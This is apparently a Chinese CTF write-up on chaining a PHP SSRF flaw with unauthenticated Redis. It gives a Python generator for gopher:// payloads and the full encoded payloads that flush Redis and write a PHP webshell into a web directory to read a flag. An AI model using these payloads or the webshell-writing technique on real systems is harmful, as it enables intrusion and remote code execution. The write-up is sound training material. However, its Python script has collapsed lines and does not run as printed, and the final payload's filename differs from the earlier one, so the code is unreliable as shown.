环境部署
拉取环境报错:
可以尝试拉取一下ubuntu:16.04,看是否能拉取成功
将wersion:"3"删掉
我拉去成功之后,再去拉取环境,成功!
访问环境
测试ssrf
源码
<?php
highlight_file(__file__);
function curl($url){ $ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0);echo curl_exec($ch);curl_close($ch);
}
if(isset($_GET['url'])){$url = $_GET['url'];
if(preg_match('/file\:\/\/|dict\:\/\/|\.\.\/|127.0.0.1|localhost/is', $url,$match)){
die('No, No, No!');}curl($url);
}
if(isset($_GET['info'])){phpinfo();
}
?>
虽然这里存在ssrf,但是我们可以看见源码将file、dict、127.0.0.1、localhost都给过滤了,所以我们只能尝试使用http协议进行内网主机存活探测,这里可以从phpinfo里面看到当前内网主机IP地址。
探测主机
然后我们就可测试一下,当前网段下有哪些IP地址的主机是存活状态,可以使用bp,也可以手动测试
这里看到当检测到172.19.0.2时,网页返回了一个go away1,这台主机是这个网段正在运行的一台主机,并且也在运行http协议
扫描端口
接下来用bp扫描一下这台主机的端口,但redis服务的端口是否打开
出现了这个报错-ERR wrong number of arguments for 'get' command 1
这个是redis命令执行错误,表示在还用get命令时传递的参数数量不正确
那这就说明这台主机的redis服务正在运行,那这里我们就有思路啦,既有ssrf,也有redis,emmmm
扩展知识-redis命令
redis未授权访问攻击
接着我们便可以尝试 redis 未授权了,由于这台内网主机上还存在一个http服务,所以我们可以将webshell写入其web目录,然后用ssrf进行访问。
但是我们尝试发现不能直接在/var/www/html目录下写文件,我们使用bp扫一下都有哪些目录
????
在redis容器里面看到了upload文件
编写脚本生成payload
python代码编写
from urllib.parse import quote
protocol="gopher://"
ip="172.19.0.2" # 运行着redis的内网主机ip
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="web.php"
path="/var/www/html/upload"
passwd=""
cmd=["flushall","set 1 {}".format(shell.replace(" ","${IFS}")),"config set dir {}".format(path),"config set dbfilename {}".format(filename),"save"]
if passwd:cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"
def redis_format(arr):CRLF="\r\n"redis_arr = arr.split(" ")cmd=""cmd+="*"+str(len(redis_arr))for x in redis_arr:cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")cmd+=CRLFreturn cmd
if __name__=="__main__":payload = ""for x in cmd:payload += quote(redis_format(x))print(payload)
输出
gopher://172.19.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%0D%0A%241%0D%0A1%0D%0A%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%0D%0A%243%0D%0Aset%0D%0A%0D%0A%243%0D%0Adir%0D%0A%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%0D%0A%243%0D%0Aset%0D%0A%0D%0A%2410%0D%0Adbfilename%0D%0A%0D%0A%247%0D%0Aweb.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
可以使用工具Gopherus
下载Gopherus:https://github.com/tarunkant/Gopherus
二次编码
再将payload进行url编码
这里我遇到一个问题,一直上传不成功,去查看了一下资料,终于知道为什么,因为我上传的前面这个url前面://
并没有url编码,因为我们在浏览器发送payload的时候浏览器会进行一次解码,然后到了redis又会进行一次解码,所以我才会进行一次二次编码,终于懂了emmmmm
gopher%3A%2F%2F172.19.0.2%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%250D%250A%25241%250D%250A1%250D%250A%250D%250A%252432%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2522cat%2520/flag%2522%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%250D%250A%25243%250D%250Aset%250D%250A%250D%250A%25243%250D%250Adir%250D%250A%250D%250A%252420%250D%250A/var/www/html/upload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%250D%250A%25243%250D%250Aset%250D%250A%250D%250A%252410%250D%250Adbfilename%250D%250A%250D%250A%25247%250D%250Aweb.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
读取flag
gopher%3A%2F%2F172.19.0.2%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252433%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2522cat%2520/flag%2522%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252420%250D%250A/var/www/html/upload%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A